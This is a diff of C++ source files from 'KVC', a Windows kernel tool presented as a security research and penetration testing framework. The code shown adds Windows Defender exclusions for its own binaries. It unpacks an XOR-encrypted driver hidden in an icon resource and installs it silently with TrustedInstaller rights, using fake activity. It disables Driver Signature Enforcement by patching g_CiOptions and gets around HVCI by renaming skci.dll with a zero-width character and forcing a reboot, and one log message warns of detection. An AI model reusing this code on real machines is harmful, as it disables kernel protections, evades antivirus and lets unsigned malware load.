m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe");
std::vector<std::wstring> processes = {
L"kvc_pass.exe",
L"kvc.exe"
};
INFO(L"Windows Defender exclusions configured successfully");
// Single batch call replaces 5 individual operations - much faster!
int exclusionsAdded = m_trustedInstaller.AddMultipleDefenderExclusions(paths, processes, {});
INFO(L"Windows Defender exclusions configured successfully");
INFO(L"Binary component extraction and deployment completed successfully");
return true;
@@ -217,22 +185,22 @@ bool Controller::LoadAndSplitCombinedBinaries() noexcept
INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size());
// Decrypt using XOR cipher with predefined key
auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
if (decryptedData.empty()) {
ERROR(L"XOR decryption failed - invalid encrypted data");
return false;
}
auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
if (decryptedData.empty()) {
ERROR(L"XOR decryption failed - invalid encrypted data");
return false;
}
INFO(L"XOR decryption completed successfully");
INFO(L"XOR decryption completed successfully");
// Split combined binary into separate PE components
std::vector<BYTE> kvcPassData, kvcCryptData;
if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
ERROR(L"Failed to split combined PE data into components");
return false;
}
// Split combined binary into separate PE components
std::vector<BYTE> kvcPassData, kvcCryptData;
if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
ERROR(L"Failed to split combined PE data into components");
return false;
}
if (kvcPassData.empty() || kvcCryptData.empty()) {
if (kvcPassData.empty() || kvcCryptData.empty()) {
ERROR(L"Extracted components are empty - invalid PE structure");
return false;
}
@@ -257,4 +225,3 @@ bool Controller::LoadAndSplitCombinedBinaries() noexcept
return false;
}
}

View File

@@ -1,33 +1,9 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerCore.cpp
#include "Controller.h"
#include "common.h"
#include <algorithm>
#include "resource.h"
#include <algorithm>
#include <chrono>
extern volatile bool g_interrupted;
@@ -42,16 +18,22 @@ Controller::~Controller() {
// Atomic operation cleanup - critical for BSOD prevention
bool Controller::PerformAtomicCleanup() noexcept {
INFO(L"Starting atomic cleanup procedure...");
DEBUG(L"Starting atomic cleanup procedure...");
// 1. First, close the connection to the driver
if (m_rtc) {
DEBUG(L"Cleaning up driver connection...");
m_rtc->Cleanup(); // This ensures the handle is properly closed
if (m_rtc && m_rtc->IsConnected()) {
DEBUG(L"Force-closing driver connection...");
m_rtc->Cleanup();
}
// 2. Wait for resources to be released
Sleep(200);
// Only for USB Debug Sleep(200);
// CHECK IF THE SERVICE IS A ZOMBIE
if (IsServiceZombie()) {
DEBUG(L"Service in zombie state - skipping aggressive cleanup to avoid BSOD");
return true;
}
// 3. Stop the service (if it exists)
DEBUG(L"Stopping driver service...");
@@ -87,12 +69,12 @@ bool Controller::PerformAtomicCleanup() noexcept {
}
CloseServiceHandle(hSCM);
}
Sleep(100);
// Only for USB Debug Sleep(100);
}
}
// 5. Wait again for safety
Sleep(300);
// Only for USB Debug Sleep(100);
// 6. Only uninstall if the service is confirmed to be stopped
if (serviceVerified) {
@@ -103,10 +85,10 @@ bool Controller::PerformAtomicCleanup() noexcept {
}
// 7. Reinitialize for subsequent operations
Sleep(500);
// Only for USB Debug Sleep(100);
m_rtc = std::make_unique<kvc>();
SUCCESS(L"Atomic cleanup completed successfully");
DEBUG(L"Atomic cleanup completed successfully");
return true;
}
@@ -128,7 +110,13 @@ bool Controller::PerformAtomicInitWithErrorCleanup() noexcept {
// Core driver availability check with fallback mechanisms
bool Controller::EnsureDriverAvailable() noexcept {
// Phase 1: Check if the driver is already available (without testing)
if (IsServiceZombie()) {
DEBUG(L"Service zombie detected - cannot reload driver safely");
return false; // AVOID BSOD - do not reload the driver
}
// Phase 1: Check if the driver is already available (without testing)
ForceRemoveService();
// Only for USB Debug Sleep(100);
if (IsDriverCurrentlyLoaded()) {
return true;
}
@@ -151,7 +139,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
CloseServiceHandle(hSCM);
// Give it time to start
Sleep(500);
// Only for USB Debug Sleep(100);
// Check if it's running now (without a test read)
if (m_rtc->Initialize() && m_rtc->IsConnected()) {
@@ -160,7 +148,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
}
// Phase 3: Install a new driver (ONLY if necessary)
INFO(L"Initializing kernel driver component...");
DEBUG(L"Initializing kernel driver component...");
if (!InstallDriverSilently()) {
ERROR(L"Failed to install kernel driver component");
@@ -178,7 +166,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
return false;
}
SUCCESS(L"Kernel driver component initialized successfully");
DEBUG(L"Kernel driver component initialized successfully");
return true;
}

349
kvc/ControllerDSE.cpp Normal file
View File

@@ -0,0 +1,349 @@
#include "Controller.h"
#include "common.h"
bool Controller::DisableDSE() noexcept {
// Check if HVCI bypass already prepared (pending reboot)
HKEY hKey = nullptr;
bool bypassPending = false;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t state[256] = {0};
DWORD size = sizeof(state);
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) {
bypassPending = true;
// Verify the renamed file actually exists
wchar_t sysDir[MAX_PATH];
if (GetSystemDirectoryW(sysDir, MAX_PATH) > 0) {
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
if (GetFileAttributesW(checkPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
// File doesn't exist - state is stale/invalid
bypassPending = false;
DEBUG(L"Stale bypass state detected - skci.dlI not found");
}
}
}
}
RegCloseKey(hKey);
hKey = nullptr;
}
// If bypass already prepared, prompt for reboot without touching driver
if (bypassPending) {
std::wcout << L"\n";
INFO(L"HVCI bypass already prepared from previous session");
INFO(L"System reboot is required to complete the bypass");
INFO(L"After reboot, use 'KVC DSE OFF' to disable driver signing");
std::wcout << L"\n";
std::wcout << L"Reboot now? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
// Enable shutdown privilege
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}
// Initiate reboot
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
ERROR(L"Failed to initiate reboot: %d", GetLastError());
}
}
return true;
}
// Normal flow - proceed with driver operations
PerformAtomicCleanup();
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for DSE bypass");
return false;
}
if (!m_rtc->Initialize()) {
ERROR(L"Failed to initialize driver handle");
EndDriverSession(true);
return false;
}
DEBUG(L"Driver handle opened successfully");
if (!m_dseBypass) {
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
}
auto ciBase = m_dseBypass->GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"Failed to locate ci.dll");
EndDriverSession(true);
return false;
}
ULONG_PTR ciOptionsAddr = m_dseBypass->FindCiOptions(ciBase.value());
if (!ciOptionsAddr) {
ERROR(L"Failed to locate g_CiOptions");
EndDriverSession(true);
return false;
}
auto current = m_rtc->Read32(ciOptionsAddr);
if (!current) {
ERROR(L"Failed to read g_CiOptions");
EndDriverSession(true);
return false;
}
DWORD currentValue = current.value();
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
bool hvciEnabled = (currentValue & 0x0001C000) != 0;
if (hvciEnabled) {
INFO(L"HVCI detected (g_CiOptions = 0x%08X) - hypervisor bypass required", currentValue);
INFO(L"Preparing secure kernel deactivation (fully reversible)...");
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
INFO(L"No files will be permanently modified or deleted");
std::wcout << L"\n";
// Single question - if Y, do everything; if N, do nothing
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice != L'Y' && choice != L'y') {
INFO(L"HVCI bypass cancelled by user");
return true;
}
DEBUG(L"Closing driver handle before file operations...");
m_rtc->Cleanup();
DEBUG(L"Unloading and removing driver service...");
EndDriverSession(true);
DEBUG(L"Driver fully unloaded, proceeding with bypass preparation...");
if (!m_dseBypass->RenameSkciLibrary()) {
ERROR(L"Failed to prepare hypervisor bypass");
return false;
}
if (!m_dseBypass->SaveDSEState(currentValue)) {
ERROR(L"Failed to save DSE state to registry");
return false;
}
if (!m_dseBypass->CreateRunOnceEntry()) {
ERROR(L"Failed to create RunOnce entry");
return false;
}
SUCCESS(L"HVCI bypass prepared - reboot required");
INFO(L"Post-reboot: 'kvc dse' -> if 0x00000000 -> load driver -> 'kvc dse on'");
INFO(L"Detection systems may scan for prolonged 0x00000000 state - restore quickly");
INFO(L"Future Windows updates may enhance monitoring - disable Driver Signature Enforcement only when needed");
INFO(L"Initiating system reboot...");
// Enable shutdown privilege
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}
// Initiate reboot
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
ERROR(L"Failed to initiate reboot: %d", GetLastError());
}
return true;
}
bool result = m_dseBypass->DisableDSE();
EndDriverSession(true);
return result;
}
bool Controller::RestoreDSE() noexcept {
PerformAtomicCleanup();
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for DSE restore");
return false;
}
if (!m_rtc->Initialize()) {
ERROR(L"Failed to initialize driver handle");
EndDriverSession(true);
return false;
}
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
bool result = m_dseBypass->RestoreDSE();
EndDriverSession(true);
return result;
}
bool Controller::DisableDSEAfterReboot() noexcept {
// Check if this is actually post-reboot or just pending bypass
HKEY hKey = nullptr;
bool actuallyPostReboot = false;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t state[256] = {0};
DWORD size = sizeof(state);
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
if (wcscmp(state, L"AwaitingRestore") == 0) {
// Check if skci.dlI still exists (means we haven't rebooted yet)
wchar_t sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
if (GetFileAttributesW(checkPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
actuallyPostReboot = true; // File exists = real post-reboot
}
}
}
RegCloseKey(hKey);
}
// If skci.dlI doesn't exist, user hasn't rebooted yet
if (!actuallyPostReboot) {
std::wcout << L"\n";
INFO(L"HVCI bypass prepared but system has not been rebooted yet");
INFO(L"Please reboot to complete the bypass process");
std::wcout << L"\n";
std::wcout << L"Reboot now? [Y/N]: ";
wchar_t choice;
std::wcin >> choice;
if (choice == L'Y' || choice == L'y') {
INFO(L"Initiating system reboot...");
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
CloseHandle(hToken);
}
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
ERROR(L"Failed to initiate reboot: %d", GetLastError());
}
}
return true; // Exit WITHOUT touching driver
}
// Continue with actual post-reboot bypass...
PerformAtomicCleanup();
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for post-reboot DSE bypass");
return false;
}
if (!m_rtc->Initialize()) {
ERROR(L"Failed to initialize driver handle");
EndDriverSession(true);
return false;
}
DEBUG(L"Driver handle opened successfully");
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
bool result = m_dseBypass->DisableDSEAfterReboot();
EndDriverSession(true);
return result;
}
ULONG_PTR Controller::GetCiOptionsAddress() const noexcept {
if (!m_dseBypass) {
return 0;
}
return m_dseBypass->GetCiOptionsAddress();
}
bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept {
PerformAtomicCleanup();
if (!BeginDriverSession()) {
ERROR(L"Failed to start driver session for DSE status check");
return false;
}
if (!m_rtc->Initialize()) {
ERROR(L"Failed to initialize driver handle");
EndDriverSession(true);
return false;
}
if (!m_dseBypass) {
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
}
auto ciBase = m_dseBypass->GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"Failed to locate ci.dll");
EndDriverSession(true);
return false;
}
outAddress = m_dseBypass->FindCiOptions(ciBase.value());
if (outAddress == 0) {
ERROR(L"Failed to locate g_CiOptions address");
EndDriverSession(true);
return false;
}
auto currentValue = m_rtc->Read32(outAddress);
if (!currentValue) {
ERROR(L"Failed to read g_CiOptions value");
EndDriverSession(true);
return false;
}
outValue = currentValue.value();
EndDriverSession(true);
return true;
}

View File

@@ -1,29 +1,7 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerDriverManager.cpp
// Driver lifecycle management: installation, service control, extraction
// Author: Marek Wesolowski, 2025
#include "Controller.h"
#include "common.h"
#include "Utils.h"
@@ -32,7 +10,66 @@ that define these protections.
namespace fs = std::filesystem;
// Driver service lifecycle management
// ============================================================================
// SERVICE CLEANUP AND MANAGEMENT
// ============================================================================
// Forcefully remove driver service, ignoring most errors
bool Controller::ForceRemoveService() noexcept {
if (!InitDynamicAPIs()) {
return false;
}
StopDriverService();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
return false;
}
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
if (!hService) {
DWORD err = GetLastError();
CloseServiceHandle(hSCM);
return (err == ERROR_SERVICE_DOES_NOT_EXIST);
}
BOOL success = g_pDeleteService(hService);
DWORD err = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success || (err == ERROR_SERVICE_MARKED_FOR_DELETE);
}
// Detect zombie service state (marked for deletion but not removed)
bool Controller::IsServiceZombie() noexcept {
if (!InitDynamicAPIs()) return false;
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!hSCM) return false;
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
if (!hService) {
DWORD err = GetLastError();
CloseServiceHandle(hSCM);
return false;
}
BOOL delResult = g_pDeleteService(hService);
DWORD err = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return (!delResult && err == ERROR_SERVICE_MARKED_FOR_DELETE);
}
// ============================================================================
// SERVICE LIFECYCLE MANAGEMENT
// ============================================================================
bool Controller::StopDriverService() noexcept {
DEBUG(L"StopDriverService called");
@@ -57,272 +94,48 @@ bool Controller::StopDriverService() noexcept {
return true;
}
DEBUG(L"OpenServiceW failed: %d", err);
DEBUG(L"Failed to open service: %d", err);
return false;
}
SERVICE_STATUS status;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState == SERVICE_STOPPED) {
DEBUG(L"Service already stopped");
if (!QueryServiceStatus(hService, &status)) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return false;
}
if (status.dwCurrentState == SERVICE_STOPPED) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
DEBUG(L"Service already stopped");
return true;
}
if (status.dwCurrentState == SERVICE_RUNNING) {
if (!g_pControlService(hService, SERVICE_CONTROL_STOP, &status)) {
DWORD err = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return true;
}
}
SERVICE_STATUS stopStatus;
BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus);
DWORD err = GetLastError();
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
DEBUG(L"ControlService result: %d, error: %d", success, err);
return success || err == ERROR_SERVICE_NOT_ACTIVE;
}
// Extract driver from steganographic icon resource
std::vector<BYTE> Controller::ExtractEncryptedDriver() noexcept {
auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA);
if (iconData.size() <= 9662) {
ERROR(L"Icon resource too small or corrupted - steganographic driver missing");
return {};
}
// Skip first 9662 bytes (actual icon data) to get embedded driver
return std::vector<BYTE>(iconData.begin() + 9662, iconData.end());
}
// Decrypt embedded driver using XOR cipher
// Decrypt embedded driver using XOR cipher
std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept {
if (encryptedData.empty()) {
ERROR(L"No encrypted driver data provided");
return {};
}
constexpr std::array<BYTE, 7> key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
std::vector<BYTE> decryptedData = encryptedData;
// Simple XOR decryption with repeating key
for (size_t i = 0; i < decryptedData.size(); ++i) {
decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey'
}
return decryptedData;
}
// Silent driver installation with TrustedInstaller privileges
bool Controller::InstallDriverSilently() noexcept {
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) return false;
auto driverData = DecryptDriver(encryptedData);
if (driverData.empty()) return false;
fs::path tempDir = GetSystemTempPath(); // Use system temp instead of user temp
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false;
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
// Copy with system privileges
std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\"";
if (!RunAsTrustedInstallerSilent(copyCommand)) {
DeleteFileW(tempDriverPath.c_str());
return false;
}
DeleteFileW(tempDriverPath.c_str());
// REGISTER THE SERVICE WITH CORRECT PRIVILEGES
return RegisterDriverServiceSilent(driverPath.wstring());
}
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pCreateServiceW(
hSCM,
GetServiceName().c_str(),
L"Kernel Driver Service",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel
SERVICE_DEMAND_START, // start = demand (can be changed to auto)
SERVICE_ERROR_NORMAL,
driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
if (hService) CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
bool Controller::StartDriverServiceSilent() noexcept {
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
if (!hService) {
CloseServiceHandle(hSCM);
return false;
}
SERVICE_STATUS status;
bool success = true;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState != SERVICE_RUNNING) {
success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING);
}
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
// Legacy driver installation with enhanced error handling
bool Controller::InstallDriver() noexcept {
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) {
ERROR(L"Failed to extract encrypted driver from icon resource");
return false;
}
auto driverData = DecryptDriver(encryptedData);
if (driverData.empty()) {
ERROR(L"Failed to decrypt embedded driver data");
return false;
}
fs::path tempDir = fs::temp_directory_path();
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) {
ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str());
return false;
}
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
std::error_code ec;
fs::create_directories(driverDir, ec);
if (ec) {
INFO(L"Directory creation failed (may already exist)");
}
std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring();
INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str());
if (!RunAsTrustedInstaller(copyCommand)) {
ERROR(L"Failed to copy driver to system directory with elevated privileges");
DeleteFileW(tempDriverPath.c_str());
return false;
}
if (!fs::exists(driverPath)) {
ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str());
DeleteFileW(tempDriverPath.c_str());
return false;
}
SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str());
DeleteFileW(tempDriverPath.c_str());
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
ERROR(L"Failed to open service control manager: %d", GetLastError());
return false;
}
SC_HANDLE hService = g_pCreateServiceW(
hSCM, GetServiceName().c_str(), L"Memory Access Driver",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, // KEY CHANGE
SERVICE_DEMAND_START, // start= demand
SERVICE_ERROR_NORMAL, driverPath.c_str(),
nullptr, nullptr, nullptr, nullptr, nullptr
);
if (!hService) {
DWORD err = GetLastError();
CloseServiceHandle(hSCM);
if (err != ERROR_SERVICE_EXISTS) {
ERROR(L"Failed to create driver service: %d", err);
DEBUG(L"ControlService failed: %d", err);
return false;
}
INFO(L"Driver service already exists, proceeding");
} else {
CloseServiceHandle(hService);
SUCCESS(L"Driver service created successfully");
// Wait for service to stop (up to 5 seconds)
for (int i = 0; i < 50; i++) {
Sleep(100);
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState == SERVICE_STOPPED) {
break;
}
}
}
}
CloseServiceHandle(hSCM);
SUCCESS(L"Driver installed and registered as Windows service");
return true;
}
bool Controller::UninstallDriver() noexcept {
StopDriverService();
if (!InitDynamicAPIs()) return true;
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
return true;
}
std::wstring serviceName = GetServiceName();
SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE);
if (!hService) {
CloseServiceHandle(hSCM);
return true;
}
BOOL success = g_pDeleteService(hService);
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
if (!success) {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_MARKED_FOR_DELETE) {
ERROR(L"Failed to delete driver service: %d", err);
return false;
}
}
// Clean up driver file
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
std::error_code ec;
if (!fs::remove(driverPath, ec)) {
if (ec.value() != ERROR_FILE_NOT_FOUND) {
std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\"";
RunAsTrustedInstallerSilent(delCommand);
}
}
DEBUG(L"Service stop completed");
return true;
}
@@ -367,3 +180,268 @@ bool Controller::StartDriverService() noexcept {
SUCCESS(L"Kernel driver service started successfully");
return true;
}
bool Controller::StartDriverServiceSilent() noexcept {
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) return false;
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
if (!hService) {
CloseServiceHandle(hSCM);
return false;
}
SERVICE_STATUS status;
bool success = true;
if (QueryServiceStatus(hService, &status)) {
if (status.dwCurrentState != SERVICE_RUNNING) {
success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING);
}
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
// ============================================================================
// DRIVER INSTALLATION
// ============================================================================
bool Controller::InstallDriver() noexcept {
ForceRemoveService();
// Check for zombie service state
if (IsServiceZombie()) {
CRITICAL(L"");
CRITICAL(L"===============================================================");
CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
CRITICAL(L"===============================================================");
CRITICAL(L"");
CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
CRITICAL(L"removed until the system is restarted. This typically occurs");
CRITICAL(L"when driver loading is interrupted during initialization.");
CRITICAL(L"");
INFO(L"Required action: Restart your computer to clear the zombie state");
INFO(L"After restart, the driver will load normally");
CRITICAL(L"");
CRITICAL(L"===============================================================");
CRITICAL(L"");
return false;
}
// Extract driver (already decrypted by Utils::ExtractResourceComponents)
auto driverData = ExtractDriver();
if (driverData.empty()) {
ERROR(L"Failed to extract driver from resource");
return false;
}
// Get target paths
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
INFO(L"Target driver path: %s", driverPath.c_str());
// Ensure directory exists with TrustedInstaller privileges
INFO(L"Creating driver directory with TrustedInstaller privileges...");
if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
ERROR(L"Failed to create driver directory: %s", driverDir.c_str());
return false;
}
DEBUG(L"Driver directory ready: %s", driverDir.c_str());
// Write driver file directly with TrustedInstaller privileges
INFO(L"Writing driver file with TrustedInstaller privileges...");
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) {
ERROR(L"Failed to write driver file to system location");
return false;
}
// Verify file was written successfully
DWORD fileAttrs = GetFileAttributesW(driverPath.c_str());
if (fileAttrs == INVALID_FILE_ATTRIBUTES) {
ERROR(L"Driver file verification failed: %s", driverPath.c_str());
return false;
}
DEBUG(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size());
// Register service
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
ERROR(L"Failed to open service control manager: %d", GetLastError());
return false;
}
SC_HANDLE hService = g_pCreateServiceW(
hSCM,
GetServiceName().c_str(),
L"KVC",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
driverPath.c_str(),
